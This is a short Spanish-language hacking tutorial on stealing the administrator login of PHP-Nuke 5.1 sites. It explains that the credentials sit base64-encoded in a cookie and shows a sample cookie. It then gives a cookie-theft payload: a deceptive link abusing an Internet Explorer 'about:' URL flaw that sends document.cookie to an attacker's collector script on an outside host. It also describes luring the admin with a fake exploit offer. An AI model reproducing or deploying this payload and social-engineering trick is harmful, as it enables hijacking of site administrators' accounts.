Bug en Php-Nuke 5.1
Nuevamente se ha encontrado una vulnerabilidad en los sistemas de portales de phpnuke en este caso la versión 5.1, el bug consiste en robar el nombre de usuario y el password del administrador del sistema phpnuke, ya que estas como todos sabemos se guardan en una Cookie, como se muestra a continuación :
-----------0------------
lang
english
plastelinux.com/
0
725504896
29523774
551579360
29450340
*
admin
QWRtaW46TmljZV9Ucnk6DQo=
plastelinux.com/
0
1451582336
29456384
3432929360
29450340
*
-----------0------------
Nos damos cuenta que la contraseña esta encriptada como BASE64, en el ejemplo del Cookie anterior vemos que la contraseña de Admin es : QWRtaW46TmljZV9Ucnk6DQo=
si decodificamos estos caracteres obtenemos el nombre de usuario y la contraseña del admin
( para decodificar visitar
http://www.gauchohack.com.ar/base64.htm ) .
Bueno esta es una forma de obtener el user y pass del admin, y otra forma de hacerse con estas es la siguiente.
hace poco fue descubierta una vulnerabilidad en el famoso navegador Internet Explorer, la misma fue llamada como "Microsoft IE Cookies Exposure via 'About:' URLS"
( pueden leer mas acerca de este bug visitar
http://www.securiteam.com/windowsntfocus/6I00D1535I.html )
Ok, la forma de explotar esto es asi:
Primero hay que crear un script en PHP que pueda recoger getenv("QUERY_STRING") en un archivo, entonces se crea un link y se obliga a el administrador del sitio phpnuke a que haga click en el, seria algo asi:
[a
href="about://www.sitio-nuke.com/[script]window.open("http://www.nuestroweb
.com/cook.php?"+document.cookie);[/script]"]Hey,this is the last Bind9
remote root exploit ![/a]
(reemplace [&] por )
http://www.sitio-nuke.com ______ es el sitio que usted quiere conseguir el Cookie.
http://www.nuestroweb.com ______ es el sitio al que manda el Cookie al recibir el
script cook.php.
Si logramos que el admin del sitio nuke siga este link, él enviará a nuestro script su Cookie codificado con Base64 con la contraseña y el user entonces solo quedara decodificarlo de la forma explicada anteriormente.
-------------------